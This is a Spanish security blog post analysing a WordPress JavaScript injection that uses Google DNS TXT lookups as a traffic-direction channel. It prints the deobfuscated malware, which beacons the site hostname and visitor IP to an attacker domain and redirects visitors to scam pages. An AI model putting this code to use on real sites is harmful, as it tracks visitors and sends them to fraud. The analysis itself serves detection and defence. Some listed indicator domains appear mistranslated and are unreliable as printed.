Hoy día la gran mayoría de sitios web con malware usan los protocolos HTTP/HTTPS para realizar actividades maliciosas. Periódicamente también nos enfrentamos a malware híbrido que aprovecha otros protoclos de internet. Por ejemplo, malware que envía spam por correo electrónico, herramientas DDoS que crean paquetes UDP, herramientas de fuerza bruta que intentan adivinar las credenciales SSH, phishing y malware de robo de tarjetas de crédito en los Ecommerce que intentan extraer datos a través de sockets, bots de telegramas y una gran lista que todavía continúa.

Recientemente hemos encontrado un malware JavaScript muy interesante que utiliza indirectamente protocolo DNS para obtener URL de redireccionamiento como ya hemos comentado por ejemplo en el artículo del SEO. 

Vamos a ver algunos más de cerca.

Inyección de Java Script

A mediados de julio de 2023, empezamos a notar sitios web de WordPress con algunas inyecciones de scripts bastante interesantes.

Este código largo y muy ofuscado se puede encontrar tanto dentro de las publicaciones de WordPress como en la opción wpcode_snippets del complemento WPCode (insertar encabezados y pies de página). Los nombres de las variables y el orden de las funciones parecen cambiar de un sitio a otro, pero la idea principal sigue siendo la misma. 

En algunos casos, nos encontramos con el siguiente script ofuscado “var _0x92fb”, mucho más simple y corto, perteneciente a la misma campaña

En agosto, la variación más frecuente de la inyección presentaba una capa adicional de codificación base64 y utilizaba el código ‘<script> document.write(atob («PHNjcmlwdD5…» para ejecutar el malware.

Pero en todos los casos las versiones decodificadas son absolutamente iguales. Aquí está el resultado (cambiamos el nombre de las variables originales para mejorar la legibilidad):

document.addEventListener(«DOMContentLoaded», function () {

  var _hostname = window.location.hostname;

  if (_hostname == «») { _hostname = «unk.com»; }

  fetch(«https://api64.ipify.org?format=json»)

    .then((_response) => { return _response.json(); })

    .then((_IP) => {

      _IP = _IP.ip.replaceAll(«.», «-«);

      _IP = _IP.replaceAll(«:», «-«);

      fetch(

        «https://dns.google/resolve?name=» +

          _hostname + «.» + _IP +  «.» +

          Math.floor(Math.random() * 1024 * 1024 * 10) +

          «.tracker-cloud[.]com&type=txt»

      )

        .then((_response) => { return _response.json(); })

        .then((_dns_json) => {

          if (_dns_json.Answer == null) { return; }

          var _redirect_URL = «»;

          _dns_json.Answer.forEach((_answer) => {

            if (_answer.type == 16) { _redirect_URL += _answer.data; }

          });

          _redirect_URL = atob(_redirect_URL);

          if (!_redirect_URL.length) { return; }

          window.location.replace(_redirect_URL);

        });

    });

});

Este código es bastante interesante. Podemos ver que la ejecución del script conduce a una redirección:

window.location.replace(_redirect_URL);

Sin embargo, no está inmediatamente claro de dónde proviene esta _redirect_URL .

Sólo hay dos llamadas a API legítimas de terceros: ipify.org (utilizada para obtener la dirección IP pública de un cliente) y dns.google (servicio DNS público de Google). Y he aquí, tenemos _redirect_URL.

Análisis de código malicioso

Vamos a analizar esta inyección de código.

El script funciona como controlador de eventos para el evento DOMContentLoaded. Esto significa que se ejecuta cuando un navegador ha analizado completamente una página web y todos los scripts diferidos se han descargado y ejecutado.

Paso 1: IP del visitante

En primer lugar, el script realiza una solicitud API a api64.ipify.org para obtener la dirección IP pública del visitante.

En la dirección IP devuelta, todos los puntos (IPv4) y dos puntos (IPv6) se reemplazan por guiones. Por ejemplo, «198.51.100.1» se convertirá en «198-51-100-1«.

Paso 2: consulta de DNS de Google

Después de eso, el malware realiza una solicitud API al DNS de Google.

Este paso es un poco más complejo y requiere una explicación.

El DNS (Sistema de nombres de dominio) de Google se puede utilizar para resolver nombres de dominio y devolver información técnica sobre ellos.

El script malicioso pasa dos parámetros a la API: nombre (el nombre de dominio para el que se solicita la información) y tipo (tipo de registro DNS).

Comencemos con el parámetro de tipo. type=txt significa que solicitamos registros TXT del dominio.

Un registro TXT es un tipo especial de registro DNS que se puede asociar con un nombre de dominio. Puede contener información de texto arbitraria y se utiliza habitualmente con fines de verificación y protección contra spam.

Por ejemplo, aquí están los registros TXT actuales del dominio bing.com:

El parámetro de nombre generado por el malware es más complejo. Tiene una naturaleza dinámica y cambia de una solicitud a otra.

Esto es en lo que consiste:

1. Nombre de host: el nombre del sitio web infectado
2. Una dirección IP desinfectada: la dirección IP del visitante del sitio con todos los puntos y dos puntos reemplazados por guiones.
3. Número aleatorio:floor(Math.random() * 1024 * 1024 * 10)
4. .tracker-cloud[.]com: el dominio de segundo nivel controlado por los malos actores.

Un parámetro de nombre completamente generado puede verse así:

name=infected-site.com.198-51-100-1.8947239.tracker-cloud[.]com

Mientras que la solicitud de API completa aparecerá así:

Paso 3: recuperar la URL de redireccionamiento de la respuesta DNS de Google

Luego, el script malicioso analiza la sección «Respuesta» de la respuesta JSON de dns.google . Todos los valores de «datos» (puede haber más de un registro TXT) se combinan en una sola cadena, que luego se decodifica en base64 para obtener la URL de redireccionamiento. 

Si la URL recuperada no está vacía, el visitante del sitio es redirigido a un sitio malicioso elegido por el atacante. 

Por ejemplo, aquí hay una respuesta real del servicio DNS de Google que aprovecha esta técnica:

En los datos de «Respuesta», vemos el valor codificado en base64:

Que decodifica a: hxxps:// sweet-big-win[.]life /?u=51twmwc&o=g6lpqzk&cid=cj2jmiaidnp1vokp7bcg

DNS como canal de comunicación para el malware

Se sabe desde hace mucho tiempo que los piratas informáticos utilizan DNS como canal de comunicación . Se utilizan nombres de subdominio personalizados y registros TXT para pasar información hacia y desde los sistemas infectados. Son empleados principalmente por botnets. Cobalt Strike tiene una función DNS Beacon que puede descargar tareas a través de registros DNS TXT, registros DNS AAAA o registros DNS A.

Trustwave informó anteriormente sobre la técnica, similar a la que se analiza en esta publicación, para correos electrónicos no deseados de Necurs con un archivo adjunto HTML que obtuvo un código de redireccionamiento JavaScript del registro DNS TXT de un dominio malicioso. Sin embargo, en mis 15 años de trabajo en seguridad de sitios web, no recuerdo haber visto ese tipo de malware inyectado en sitios pirateados.

Registros TXT dinámicos como TDS

Lo que es aún más interesante es que los subdominios y sus registros TXT dinámicos se utilizan como TDS (sistema de dirección de tráfico). 

Un TDS convencional recibe información diversa sobre un visitante, la procesa y luego, según las reglas internas, redirige (o no redirige) a uno u otro sitio. Regularmente vemos el uso de estos sistemas en malware de sitios web, por ejemplo en infecciones NDSW y Balada Injector . Pero son locales (implementados dentro del código inyectado) o remotos (el malware inyectado se comunica con él a través de un protocolo HTTP).

Entonces, ¿cómo funciona este TDS basado en DNS?

Subdominio personalizado para información de visitantes

Este malware utiliza subdominios personalizados para pasar información sobre cada visitante al TDS. Como mostramos anteriormente, las consultas DNS se emiten para nombres de dominio generados dinámicamente con este formato: 

<infected-site>.<visitor-ip>.<random-number>.tracker-cloud[.]com

El dominio será diferente para cada visitante (la parte <visitor-ip>) e, incluso si el mismo visitante carga la misma página nuevamente, el <random-number> hará que el subdominio sea único de todos modos. Esto garantiza que cada visita se maneje individualmente y que nadie reciba una respuesta DNS en caché del DNS de Google (los registros TXT tienen TTL:600, por lo que se almacenan en caché durante 10 minutos). 

Además de la IP del visitante, el TDS obtiene información sobre el sitio infectado, que probablemente se utiliza como una baliza que envía una señal de que el sitio web todavía está infectado.

URL de redireccionamiento adecuada a través de registros TXT

Solo podemos adivinar las reglas de filtrado de visitantes, pero este TDS puede ofrecer diferentes URL de redireccionamiento a diferentes usuarios. Por ejemplo, según la dirección IP, los atacantes pueden adivinar la ubicación geográfica y el tipo de red. 

En este punto, podemos ver que el ataque redirige principalmente a sweet-big-win[.]life, que es el primer paso en una cadena de redireccionamiento a sitios web fraudulentos y para adultos. En agosto, comenzamos a ver registros TXT que contenían varias URL que apuntaban a subdirectorios de sitios web legítimos comprometidos, donde los delincuentes habían instalado scripts de estafa de soporte técnico. 

Otra función del TDS es dificultar la resolución de problemas, ya que las consultas DNS posteriores generalmente no devuelven URL de redireccionamiento maliciosos para la misma IP del visitante. Además, es posible que solicitar el registro DNS para la IP de otro visitante aún no provoque una respuesta maliciosa. Las redirecciones son bastante aleatorias.

Tecnología detrás del DNS TDS

Si bien esta funcionalidad TDS es bastante común en otros programas maliciosos de sitios web que hemos estado rastreando, los TDS generalmente utilizan el protocolo HTTP y lenguajes de secuencias de comandos que los convierten en un tipo más de aplicación web. Cuando estás limitado al protocolo DNS, la tarea de crear un TDS es más compleja.

Por ejemplo, la mayoría de los propietarios de sitios web utilizan los servicios DNS de sus registradores de dominios o proveedores de alojamiento, quienes proporcionan un panel de control especial o una API para agregar y cambiar sus registros DNS. Esto es suficiente para la mayoría de los sitios web.

Sin embargo, imagine un escenario hipotético en el que necesita analizar la información pasada en una solicitud DNS como un subdominio arbitrario y cambiar el valor de los registros TXT en tiempo real en función de la información analizada y alguna lógica interna adicional. Definitivamente, esto no es posible si utiliza un servicio DNS típico de terceros.

Es por eso que el dominio malicioso tracker-cloud[.]com utiliza servidores de nombres personalizados:

• NS1.TRACKER-CLOUD[.]COM
• NS2.TRACKER-CLOUD[.]COM

Apuntan a los siguientes servidores controlados por los atacantes:

• 185.161.248.253 — KISARA-AS, RU
• 65.21.30.17 — HETZNER-AS, ​​DE

Estos servidores de nombres tienen un software de servidor DNS moderno (como PowerDNS) que admite registros DNS dinámicos .

Por ejemplo, PowerDNS permite a los usuarios modificar el comportamiento de resolución utilizando scripts escritos en Lua . Su documentación sugiere lo siguiente:

Los scripts Lua se pueden utilizar para equilibrar la carga, por motivos legales, con fines comerciales, para bloquear rápidamente dominios peligrosos o anular respuestas problemáticas.

El servicio de filtrado de DNS CleanBrowsing utiliza scripts Lua para informar dinámicamente qué solucionador de DNS se está utilizando actualmente. Según su ubicación geográfica, el registro TXT para el dominio mylocation.whois.dnscontest.cleanbrowsing.org puede cambiar de “CleanBrowsing: dns-edge-usa-west-la , 185.228.168.10” si lo solicita desde California a “CleanBrowsing : dns-edge-europe-london3 , 185.228.168.10″ si lo solicita desde el Reino Unido.

O, si solicita el registro TXT del propio whoami.lua.powerdns.org de PowerDNS , le devolverá la dirección IP de su solucionador de DNS.

Alternativamente, PowerDNS tiene el llamado PipeBackend que permite una resolución dinámica sencilla basada en un «coproceso» que puede escribirse en cualquier lenguaje de programación que pueda leer una pregunta en la entrada estándar y responder en la salida estándar.

Aparentemente, los malos actores están usando soluciones similares en los servidores de nombres para el dominio tracker-cloud[.]com .

El dominio tracker-cloud[.]com

El dominio tracker-cloud[.]com se registró el 12 de julio de 2023.

Según URLScan.io, el malware se detectó por primera vez en estado salvaje el 17 de julio de 2023. Desde entonces, se puede encontrar en docenas de sitios. Nuestro escáner SiteCheck detecta actualmente el malware de nube de seguimiento en aproximadamente 30 sitios únicos por semana.

Curiosamente, el 17 de julio de 2023 también es la fecha en la que se publicó una vulnerabilidad XSS reflejada en el complemento WPCode . Como mencionamos anteriormente, el malware a menudo se inyecta en la opción wpcode_snippets de este complemento. Sin embargo, no tenemos pruebas suficientes de que esta vulnerabilidad se haya utilizado directamente como vector de ataque.

Este malware a veces se encuentra junto con las inyecciones R_Evil hello dolly, que se sabe que son responsables de inyecciones que redirigen a sitios fraudulentos similares.

Redirecciones Sweet-big-win[.]life

Inicialmente, las URL de redireccionamiento encontradas en los registros TXT utilizaban el nombre de dominio sweet-big-in[.]life (185.155.184.208).

Estas cadenas de redireccionamiento se ven así:

• hxxps://sweet-big-win[.]life/?u=51twmwc&o=g6lpqzk&cid=cj0va9iidnp1vojvm38g
• hxxps://play.google[.]com/store/apps/details?id=com.tinder

La parte u=51twmwc&o=g6lpqzk de la URL permanece igual para esta campaña, mientras que el parámetro &cid cambia constantemente.

La redirección a la aplicación Tinder es sólo una de las posibles páginas de destino. Sin embargo, es bastante común, ya que las campañas publicitarias de Tinder parecen depender de proveedores de tráfico incompletos: vemos muchas campañas de malware que redirigen a la aplicación Tinder si no pueden encontrar nada más que coincida con el perfil de usuario actual.

Si comprobamos la dirección IP del dominio sweet-big-win[.]life (185.155.184.208) , encontramos muchos otros dominios similares como:

• primaganar[.]vida
• super-juego-4adulto[.]vida
• bonificaciónpremium[.]vida
• premio para todos[.]vida
• dulcesbono[.]vida
• citasdudes[.]vida
• imán de ganancias[.]vida
• dulcesbono[.]vida
• sentido del premio[.]vida
• hitjackpot[.]vida
• mantener bonificación para ganar[.]vida

Como puede ver por las palabras clave utilizadas en los nombres de dominio, todos se crean teniendo en mente premios falsos y estafas de citas.

Sweet-big-win[.]life también puede redirigir a sitios fraudulentos en los servidores 54.37.5.34 o 135.125.135.44 , por ejemplo , wantafile[.]live , backbushooh[.]live , etc. Se sabe que estos servidores son el hogar de Estafas de citas y juegos de azar.

Redirecciones a sitios comprometidos

Alternativamente, la URL de redireccionamiento extraída de los registros TXT también puede apuntar a subdirectorios de sitios web legítimos infectados.

«>En este caso, la página de destino inicial contiene el siguiente código:

Este script redirige a la misma página con un parámetro generado aleatoriamente. Este truco evita que los robots de seguridad/motores de búsqueda no deseados que no ejecutan JavaScript vean el contenido malicioso.

Los visitantes humanos verán una presentación animada en pantalla completa donde verán un análisis de virus «en vivo», seguido de un intento de un chatbot de IA de Microsoft para ayudarlos:

«¡Saludos! Soy Lucy, otro chatbot con IA de Microsoft. Parece que su PC está bloqueada por razones de seguridad. … Trágicamente, el soporte de visitas no está disponible para esta decepción básica. Si no es mucha molestia, contacta con Soporte “

La única opción que los delincuentes dejan a sus víctimas es llamar a una falsa “Línea de ayuda de soporte de Windows” donde los engañarán para que instalen software no deseado y paguen por la eliminación de amenazas inexistentes.

Servidores de nombres

Pasemos a los servidores de nombres: 185.161.248.253 y 65.21.30.17 .

Se sabe que 65.21.30.17 alberga estafas de soporte técnico.

185.161.248.253 también alberga muchos sitios dudosos, entre ellos:

• cuenta.sparkofme[.]com
• apptradecoin[.]com
• autodiscover.staging.kennedypostacute[.]com
• cnctddot[.]com
• viajeros de dominio[.]com
• gostaustralia[.]com
• koloshuk[.]com
• tertano[.]com
• ojosclear[.]com
• nuestras historias escarlatas[.]com
• prottopecart[.]com
• stowesupperclub[.]com
• oficiales de suffolktrack[.]com
• woocommerce-pdf-factura[.]com
• pagos woocommerce-sage[.]com
• yournickatmine[.]com,etc.

Si bien sus nombres pueden parecer que pertenecen a sitios legítimos, en realidad la mayoría de estos sitios web ofrecen páginas fraudulentas de soporte técnico como las descritas anteriormente. La estafa está tan extendida y es tan rentable que los delincuentes han localizado su malware en muchos países e idiomas diferentes.

Por ejemplo, esto es lo que podrías ver cuando visites uno de los sitios con una IP japonesa.

Protegiendo su sitio

Los malos actores están elevando sus campañas de malware aprovechando el protocolo DNS para ocultar solicitudes a su infraestructura. En este caso particular, podemos ver claramente cómo inyectan JavaScript malicioso que envía solicitudes al DNS de Google y utiliza las respuestas para redirigir a los usuarios a sitios web fraudulentos y para adultos.

La sofisticación y complejidad de los ataques siempre están evolucionando. Por lo tanto, es imperativo que los propietarios de sitios apliquen una variedad de técnicas para mitigar el riesgo y proteger sus entornos de ataques.

Si bien ninguna seguridad es del 100%, algunos pasos clave que puedes seguir para proteger tu sitio web del malware incluyen:

1. Realice auditorías periódicas de los registros de su servidor, cambios en la integridad de los archivos y cuentas de usuario para detectar actividades sospechosas en su sitio web.
2. Mantenga siempre actualizado el software, los temas y los complementos de su sitio web con los parches más recientes para ayudar a evitar que los piratas informáticos aprovechen las vulnerabilidades conocidas en su sitio.
3. Implemente un firewall de aplicaciones web (WAF) para bloquear el tráfico malicioso y parchear virtualmente las vulnerabilidades de software conocidas.
4. Realice periódicamente una copia de seguridad de su sitio web para que sea más fácil restaurarlo a su última configuración buena conocida en caso de infección.
5. Utilice contraseñas seguras y únicas para todas las cuentas asociadas con su sitio web.
6. Restrinja los permisos de archivos para evitar cambios no autorizados en su sitio web.
7. Implemente cifrado SSL/TLS para proteger los datos transmitidos entre su sitio web y los visitantes.
8. Practique el principio de privilegio mínimo y limite el acceso de los usuarios solo a aquellos que lo necesiten y con los permisos necesarios.

Quieres valorar esta entrada? Nos sería de utilidad.